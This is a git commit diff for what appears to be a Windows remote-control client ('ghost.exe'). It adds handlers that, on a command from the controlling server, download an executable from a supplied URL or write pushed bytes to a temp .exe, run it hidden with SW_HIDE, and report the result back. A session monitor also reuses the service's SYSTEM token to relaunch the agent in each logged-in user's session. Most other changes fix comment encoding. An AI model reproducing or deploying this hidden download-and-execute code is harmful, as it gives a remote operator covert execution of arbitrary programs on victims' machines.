Feature: Support upload/download executable file and run it

This commit is contained in:
shaun
2025-12-17 15:54:50 +01:00
committed by yuanyuanxiang
parent d3fb4862b9
commit b4687bb1a2
11 changed files with 254 additions and 69 deletions

View File

@@ -19,6 +19,8 @@
#include "ShellcodeInj.h" #include "ShellcodeInj.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#pragma comment(lib, "urlmon.lib")
// UDP 协议仅能针对小包数据,且数据没有时序关联 // UDP 协议仅能针对小包数据,且数据没有时序关联
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect)
{ {
@@ -406,6 +408,75 @@ bool EnableShutdownPrivilege()
return true; return true;
} }
class CDownloadCallback : public IBindStatusCallback {
private:
DWORD m_startTime;
DWORD m_timeout; // 毫秒
public:
CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) {
m_startTime = GetTickCount();
}
HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax,
ULONG ulStatusCode, LPCWSTR szStatusText) override {
// 超时检查
if (GetTickCount() - m_startTime > m_timeout) {
return E_ABORT; // 取消下载
}
return S_OK;
}
// 其他接口方法返回默认值
HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; }
HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; }
HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; }
HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; }
HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; }
HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; }
HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; }
// IUnknown
ULONG STDMETHODCALLTYPE AddRef() override { return 1; }
ULONG STDMETHODCALLTYPE Release() override { return 1; }
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override {
if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) {
*ppv = this;
return S_OK;
}
return E_NOINTERFACE;
}
};
void DownExecute(const std::string &strUrl, CManager *This) {
// 临时路径
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
GetTempPathA(MAX_PATH, szTempPath);
srand(GetTickCount64());
sprintf_s(szSavePath, "%sDownload_%d.exe", szTempPath, rand() % 10086);
// 下载并运行
const int timeoutMs = 30 * 1000;
CDownloadCallback callback(timeoutMs);
if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback))
{
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
Mprintf("Download Exec Success: %s\n", strUrl.c_str());
char buf[100];
sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID());
ClientMsg msg("执行成功", buf);
This->SendData(LPBYTE(&msg), sizeof(msg));
}
else
{
Mprintf("Download Exec Failed: %s\n", strUrl.c_str());
char buf[100];
sprintf_s(buf, "Client %llu download exec failed", This->GetClientID());
ClientMsg msg("执行失败", buf);
This->SendData(LPBYTE(&msg), sizeof(msg));
}
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{ {
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -418,6 +489,39 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
std::string publicIP = m_ClientObject->GetClientIP(); std::string publicIP = m_ClientObject->GetClientIP();
switch (szBuffer[0]) { switch (szBuffer[0]) {
case COMMAND_DOWN_EXEC:
{
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
break;
}
case COMMAND_UPLOAD_EXEC:
{
if (ulLength < 5) break;
DWORD dwFileSize = *(DWORD*)(szBuffer + 1);
if (dwFileSize == 0 || ulLength < (5 + dwFileSize)) break;
BYTE* pFileData = szBuffer + 5;
char szTempPath[MAX_PATH], szSavePath[MAX_PATH];
GetTempPathA(MAX_PATH, szTempPath);
srand(GetTickCount64());
sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086);
FILE* fp = fopen(szSavePath, "wb");
if (fp)
{
fwrite(pFileData, 1, dwFileSize, fp);
fclose(fp);
ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE);
Mprintf("Upload Exec Success: %d bytes\n", dwFileSize);
}
char buf[100];
sprintf_s(buf, "Client %llu upload exec %s", m_conn->clientID, fp ? "succeed" : "failed");
ClientMsg msg(fp ? "执行成功" : "执行失败", buf);
SendData(LPBYTE(&msg), sizeof(msg));
break;
}
case TOKEN_MACHINE_MANAGE: case TOKEN_MACHINE_MANAGE:
if (ulLength <= 1 || !EnableShutdownPrivilege()) break; if (ulLength <= 1 || !EnableShutdownPrivilege()) break;
#ifdef _DEBUG #ifdef _DEBUG

View File

@@ -202,6 +202,9 @@ public:
CloseHandle(hProcessSnap); CloseHandle(hProcessSnap);
return false; return false;
} }
virtual uint64_t GetClientID() const override {
return m_conn->clientID;
}
}; };
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)

View File

@@ -65,6 +65,9 @@ public:
{ {
m_bReady = ready; m_bReady = ready;
} }
virtual uint64_t GetClientID() const {
return 0;
}
}; };
#endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_) #endif // !defined(AFX_MANAGER_H__32F1A4B3_8EA6_40C5_B1DF_E469F03FEC30__INCLUDED_)

View File

@@ -331,10 +331,9 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
clock_t last_check = clock(); clock_t last_check = clock();
timeBeginPeriod(1); timeBeginPeriod(1);
while (This->m_bIsWorking) { while (This->m_bIsWorking) {
if (!This->IsConnected()) { WAIT_n(This->m_bIsWorking && !This->IsConnected(), 6, 200);
Sleep(50); if (!This->IsConnected()) This->OnReconnect();
continue; if (!This->IsConnected()) continue;
}
if (!This->m_SendFirst && This->IsConnected()) { if (!This->m_SendFirst && This->IsConnected()) {
This->m_SendFirst = TRUE; This->m_SendFirst = TRUE;
This->SendBitMapInfo(); This->SendBitMapInfo();

View File

@@ -1,4 +1,4 @@
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
#include "SessionMonitor.h" #include "SessionMonitor.h"
#include <stdio.h> #include <stdio.h>

View File

@@ -1,4 +1,4 @@
#ifndef SERVICE_WRAPPER_H #ifndef SERVICE_WRAPPER_H
#define SERVICE_WRAPPER_H #define SERVICE_WRAPPER_H
#include <windows.h> #include <windows.h>

View File

@@ -1,17 +1,17 @@
#include "SessionMonitor.h" #include "SessionMonitor.h"
#include <stdio.h> #include <stdio.h>
#include <tlhelp32.h> #include <tlhelp32.h>
#include <userenv.h> #include <userenv.h>
#pragma comment(lib, "userenv.lib") #pragma comment(lib, "userenv.lib")
// <EFBFBD><EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 动态数组初始容量
#define INITIAL_CAPACITY 4 #define INITIAL_CAPACITY 4
#define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__) #define Mprintf(format, ...) MyLog(__FILE__, __LINE__, format, __VA_ARGS__)
extern void MyLog(const char* file, int line, const char* format, ...); extern void MyLog(const char* file, int line, const char* format, ...);
// ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 前向声明
static DWORD WINAPI MonitorThreadProc(LPVOID param); static DWORD WINAPI MonitorThreadProc(LPVOID param);
static void MonitorLoop(SessionMonitor* self); static void MonitorLoop(SessionMonitor* self);
static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId); static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId);
@@ -19,14 +19,14 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId);
static void TerminateAllAgents(SessionMonitor* self); static void TerminateAllAgents(SessionMonitor* self);
static void CleanupDeadProcesses(SessionMonitor* self); static void CleanupDeadProcesses(SessionMonitor* self);
// <EFBFBD><EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 动态数组辅助函数
static void AgentArray_Init(AgentProcessArray* arr); static void AgentArray_Init(AgentProcessArray* arr);
static void AgentArray_Free(AgentProcessArray* arr); static void AgentArray_Free(AgentProcessArray* arr);
static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info); static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info);
static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index); static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index);
// ============================================ // ============================================
// <EFBFBD><EFBFBD>̬<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD> // 动态数组实现
// ============================================ // ============================================
static void AgentArray_Init(AgentProcessArray* arr) static void AgentArray_Init(AgentProcessArray* arr)
@@ -51,7 +51,7 @@ static BOOL AgentArray_Add(AgentProcessArray* arr, const AgentProcessInfo* info)
size_t newCapacity; size_t newCapacity;
AgentProcessInfo* newItems; AgentProcessInfo* newItems;
// <EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 需要扩容
if (arr->count >= arr->capacity) { if (arr->count >= arr->capacity) {
newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
newItems = (AgentProcessInfo*)realloc( newItems = (AgentProcessInfo*)realloc(
@@ -76,7 +76,7 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
return; return;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ԫ<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD> // 将后面的元素前移
for (i = index; i < arr->count - 1; i++) { for (i = index; i < arr->count - 1; i++) {
arr->items[i] = arr->items[i + 1]; arr->items[i] = arr->items[i + 1];
} }
@@ -84,7 +84,7 @@ static void AgentArray_RemoveAt(AgentProcessArray* arr, size_t index)
} }
// ============================================ // ============================================
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>ʵ<EFBFBD><EFBFBD> // 公开接口实现
// ============================================ // ============================================
void SessionMonitor_Init(SessionMonitor* self) void SessionMonitor_Init(SessionMonitor* self)
@@ -140,7 +140,7 @@ void SessionMonitor_Stop(SessionMonitor* self)
self->monitorThread = NULL; self->monitorThread = NULL;
} }
// <EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 终止所有代理进程
Mprintf("Terminating all agent processes..."); Mprintf("Terminating all agent processes...");
TerminateAllAgents(self); TerminateAllAgents(self);
@@ -149,7 +149,7 @@ void SessionMonitor_Stop(SessionMonitor* self)
} }
// ============================================ // ============================================
// <EFBFBD>ڲ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><EFBFBD> // 内部函数实现
// ============================================ // ============================================
static DWORD WINAPI MonitorThreadProc(LPVOID param) static DWORD WINAPI MonitorThreadProc(LPVOID param)
@@ -175,10 +175,10 @@ static void MonitorLoop(SessionMonitor* self)
while (self->running) { while (self->running) {
loopCount++; loopCount++;
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD>Ľ<EFBFBD><EFBFBD><EFBFBD> // 清理已终止的进程
CleanupDeadProcesses(self); CleanupDeadProcesses(self);
// ö<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>лỰ // 枚举所有会话
pSessionInfo = NULL; pSessionInfo = NULL;
dwCount = 0; dwCount = 0;
@@ -192,7 +192,7 @@ static void MonitorLoop(SessionMonitor* self)
sessionId = pSessionInfo[i].SessionId; sessionId = pSessionInfo[i].SessionId;
foundActiveSession = TRUE; foundActiveSession = TRUE;
// <EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ÿ5<EFBFBD><EFBFBD>ѭ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼һ<EFBFBD>Σ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD> // 记录活动会话每5次循环记录一次避免日志过多
if (loopCount % 5 == 1) { if (loopCount % 5 == 1) {
sprintf(buf, "Active session found: ID=%d, Name=%s", sprintf(buf, "Active session found: ID=%d, Name=%s",
(int)sessionId, (int)sessionId,
@@ -200,21 +200,21 @@ static void MonitorLoop(SessionMonitor* self)
Mprintf(buf); Mprintf(buf);
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD>ڸûỰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 检查代理是否在该会话中运行
if (!IsAgentRunningInSession(self, sessionId)) { if (!IsAgentRunningInSession(self, sessionId)) {
sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId); sprintf(buf, "Agent not running in session %d, launching...", (int)sessionId);
Mprintf(buf); Mprintf(buf);
if (LaunchAgentInSession(self, sessionId)) { if (LaunchAgentInSession(self, sessionId)) {
Mprintf("Agent launched successfully"); Mprintf("Agent launched successfully");
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һЩʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 给进程一些时间启动
Sleep(2000); Sleep(2000);
} else { } else {
Mprintf("Failed to launch agent"); Mprintf("Failed to launch agent");
} }
} }
// ֻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 只处理第一个活动会话
break; break;
} }
} }
@@ -230,7 +230,7 @@ static void MonitorLoop(SessionMonitor* self)
} }
} }
// ÿ10<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> // 10秒检查一次
for (j = 0; j < 100 && self->running; j++) { for (j = 0; j < 100 && self->running; j++) {
Sleep(100); Sleep(100);
} }
@@ -249,14 +249,14 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
BOOL found = FALSE; BOOL found = FALSE;
DWORD procSessionId; DWORD procSessionId;
(void)self; // δʹ<EFBFBD><EFBFBD> (void)self; // 未使用
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD> exe <EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 获取当前进程的 exe 名称
if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) { if (!GetModuleFileName(NULL, currentExeName, MAX_PATH)) {
return FALSE; return FALSE;
} }
// <EFBFBD><EFBFBD>ȡ<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 获取文件名(不含路径)
pFileName = strrchr(currentExeName, '\\'); pFileName = strrchr(currentExeName, '\\');
if (pFileName) { if (pFileName) {
pFileName++; pFileName++;
@@ -264,10 +264,10 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
pFileName = currentExeName; pFileName = currentExeName;
} }
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD> PID // 获取当前服务进程的 PID
currentPID = GetCurrentProcessId(); currentPID = GetCurrentProcessId();
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̿<EFBFBD><EFBFBD><EFBFBD> // 创建进程快照
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) { if (hSnapshot == INVALID_HANDLE_VALUE) {
Mprintf("CreateToolhelp32Snapshot failed"); Mprintf("CreateToolhelp32Snapshot failed");
@@ -278,17 +278,17 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
if (Process32First(hSnapshot, &pe32)) { if (Process32First(hSnapshot, &pe32)) {
do { do {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> exe<EFBFBD><EFBFBD>ghost.exe<EFBFBD><EFBFBD> // 查找同名的 exeghost.exe
if (_stricmp(pe32.szExeFile, pFileName) == 0) { if (_stricmp(pe32.szExeFile, pFileName) == 0) {
// <EFBFBD>ų<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD> // 排除服务进程自己
if (pe32.th32ProcessID == currentPID) { if (pe32.th32ProcessID == currentPID) {
continue; continue;
} }
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD><EFBFBD>̵ĻỰID // 获取进程的会话ID
if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) { if (ProcessIdToSessionId(pe32.th32ProcessID, &procSessionId)) {
if (procSessionId == sessionId) { if (procSessionId == sessionId) {
// <EFBFBD>ҵ<EFBFBD><EFBFBD>ˣ<EFBFBD>ͬ<EFBFBD><EFBFBD> exe<78><65><EFBFBD><EFBFBD>ͬ PID<49><44><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><E1BBB0> // 找到了:同名 exe不同 PID在目标会话中
found = TRUE; found = TRUE;
break; break;
} }
@@ -301,7 +301,7 @@ static BOOL IsAgentRunningInSession(SessionMonitor* self, DWORD sessionId)
return found; return found;
} }
// <EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 终止所有代理进程
static void TerminateAllAgents(SessionMonitor* self) static void TerminateAllAgents(SessionMonitor* self)
{ {
char buf[256]; char buf[256];
@@ -321,17 +321,17 @@ static void TerminateAllAgents(SessionMonitor* self)
(int)info->processId, (int)info->sessionId); (int)info->processId, (int)info->sessionId);
Mprintf(buf); Mprintf(buf);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 检查进程是否还在运行
if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode == STILL_ACTIVE) { if (exitCode == STILL_ACTIVE) {
// <EFBFBD><EFBFBD><EFBFBD>̻<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><EFBFBD><EFBFBD>ֹ // 进程还在运行,终止
if (!TerminateProcess(info->hProcess, 0)) { if (!TerminateProcess(info->hProcess, 0)) {
sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d", sprintf(buf, "WARNING: Failed to terminate PID=%d, error=%d",
(int)info->processId, (int)GetLastError()); (int)info->processId, (int)GetLastError());
Mprintf(buf); Mprintf(buf);
} else { } else {
Mprintf("Agent terminated successfully"); Mprintf("Agent terminated successfully");
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD>˳<EFBFBD> // 等待进程完全退出
WaitForSingleObject(info->hProcess, 5000); WaitForSingleObject(info->hProcess, 5000);
} }
} else { } else {
@@ -344,13 +344,13 @@ static void TerminateAllAgents(SessionMonitor* self)
CloseHandle(info->hProcess); CloseHandle(info->hProcess);
} }
self->agentProcesses.count = 0; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> self->agentProcesses.count = 0; // 清空数组
LeaveCriticalSection(&self->csProcessList); LeaveCriticalSection(&self->csProcessList);
Mprintf("All agents terminated"); Mprintf("All agents terminated");
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѿ<EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD>Ľ<EFBFBD><EFBFBD><EFBFBD> // 清理已经终止的进程
static void CleanupDeadProcesses(SessionMonitor* self) static void CleanupDeadProcesses(SessionMonitor* self)
{ {
size_t i; size_t i;
@@ -366,17 +366,17 @@ static void CleanupDeadProcesses(SessionMonitor* self)
if (GetExitCodeProcess(info->hProcess, &exitCode)) { if (GetExitCodeProcess(info->hProcess, &exitCode)) {
if (exitCode != STILL_ACTIVE) { if (exitCode != STILL_ACTIVE) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˳<EFBFBD> // 进程已退出
sprintf(buf, "Agent PID=%d exited with code %d, cleaning up", sprintf(buf, "Agent PID=%d exited with code %d, cleaning up",
(int)info->processId, (int)exitCode); (int)info->processId, (int)exitCode);
Mprintf(buf); Mprintf(buf);
CloseHandle(info->hProcess); CloseHandle(info->hProcess);
AgentArray_RemoveAt(&self->agentProcesses, i); AgentArray_RemoveAt(&self->agentProcesses, i);
continue; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> i<><69><EFBFBD><EFBFBD>Ϊɾ<CEAA><C9BE><EFBFBD><EFBFBD>Ԫ<EFBFBD><D4AA> continue; // 不增加 i因为删除了元素
} }
} else { } else {
// <EFBFBD>޷<EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD>˳<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܽ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 无法获取退出代码,可能进程已不存在
sprintf(buf, "Cannot query agent PID=%d, removing from list", sprintf(buf, "Cannot query agent PID=%d, removing from list",
(int)info->processId); (int)info->processId);
Mprintf(buf); Mprintf(buf);
@@ -415,16 +415,16 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
Mprintf(buf); Mprintf(buf);
si.cb = sizeof(STARTUPINFO); si.cb = sizeof(STARTUPINFO);
si.lpDesktop = (LPSTR)"winsta0\\default"; // <EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> si.lpDesktop = (LPSTR)"winsta0\\default"; // 关键:指定桌面
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD> SYSTEM <EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 获取当前服务进程的 SYSTEM 令牌
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError()); sprintf(buf, "OpenProcessToken failed: %d", (int)GetLastError());
Mprintf(buf); Mprintf(buf);
return FALSE; return FALSE;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 复制为可用于创建进程的主令牌
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken)) { SecurityImpersonation, TokenPrimary, &hDupToken)) {
sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError()); sprintf(buf, "DuplicateTokenEx failed: %d", (int)GetLastError());
@@ -433,7 +433,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
return FALSE; return FALSE;
} }
// <EFBFBD>޸<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƵĻỰ ID ΪĿ<CEAA><C4BF><EFBFBD>û<EFBFBD><C3BB> // 修改令牌的会话 ID 为目标用户会话
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) { if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError()); sprintf(buf, "SetTokenInformation failed: %d", (int)GetLastError());
Mprintf(buf); Mprintf(buf);
@@ -444,7 +444,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
Mprintf("Token duplicated"); Mprintf("Token duplicated");
// <EFBFBD><EFBFBD>ȡ<EFBFBD><EFBFBD>ǰ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><EFBFBD><EFBFBD> // 获取当前进程路径(启动自己)
if (!GetModuleFileName(NULL, exePath, MAX_PATH)) { if (!GetModuleFileName(NULL, exePath, MAX_PATH)) {
Mprintf("GetModuleFileName failed"); Mprintf("GetModuleFileName failed");
CloseHandle(hDupToken); CloseHandle(hDupToken);
@@ -455,7 +455,7 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
sprintf(buf, "Service path: %s", exePath); sprintf(buf, "Service path: %s", exePath);
Mprintf(buf); Mprintf(buf);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 检查文件是否存在
fileAttr = GetFileAttributes(exePath); fileAttr = GetFileAttributes(exePath);
if (fileAttr == INVALID_FILE_ATTRIBUTES) { if (fileAttr == INVALID_FILE_ATTRIBUTES) {
sprintf(buf, "ERROR: Executable not found at: %s", exePath); sprintf(buf, "ERROR: Executable not found at: %s", exePath);
@@ -465,19 +465,19 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
return FALSE; return FALSE;
} }
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD>ͬһ<EFBFBD><EFBFBD> exe<78><65> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> -agent <EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 构建命令行:同一个 exe 但带上 -agent 参数
sprintf(cmdLine, "\"%s\" -agent", exePath); sprintf(cmdLine, "\"%s\" -agent", exePath);
sprintf(buf, "Command line: %s", cmdLine); sprintf(buf, "Command line: %s", cmdLine);
Mprintf(buf); Mprintf(buf);
// <EFBFBD><EFBFBD>ȡ<EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 获取用户令牌用于环境变量
if (!WTSQueryUserToken(sessionId, &hUserToken)) { if (!WTSQueryUserToken(sessionId, &hUserToken)) {
sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError()); sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError());
Mprintf(buf); Mprintf(buf);
} }
// ʹ<EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 使用用户令牌创建环境块
if (hUserToken) { if (hUserToken) {
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) { if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
Mprintf("CreateEnvironmentBlock failed"); Mprintf("CreateEnvironmentBlock failed");
@@ -485,17 +485,17 @@ static BOOL LaunchAgentInSession(SessionMonitor* self, DWORD sessionId)
CloseHandle(hUserToken); CloseHandle(hUserToken);
} }
// <EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> // 在用户会话中创建进程
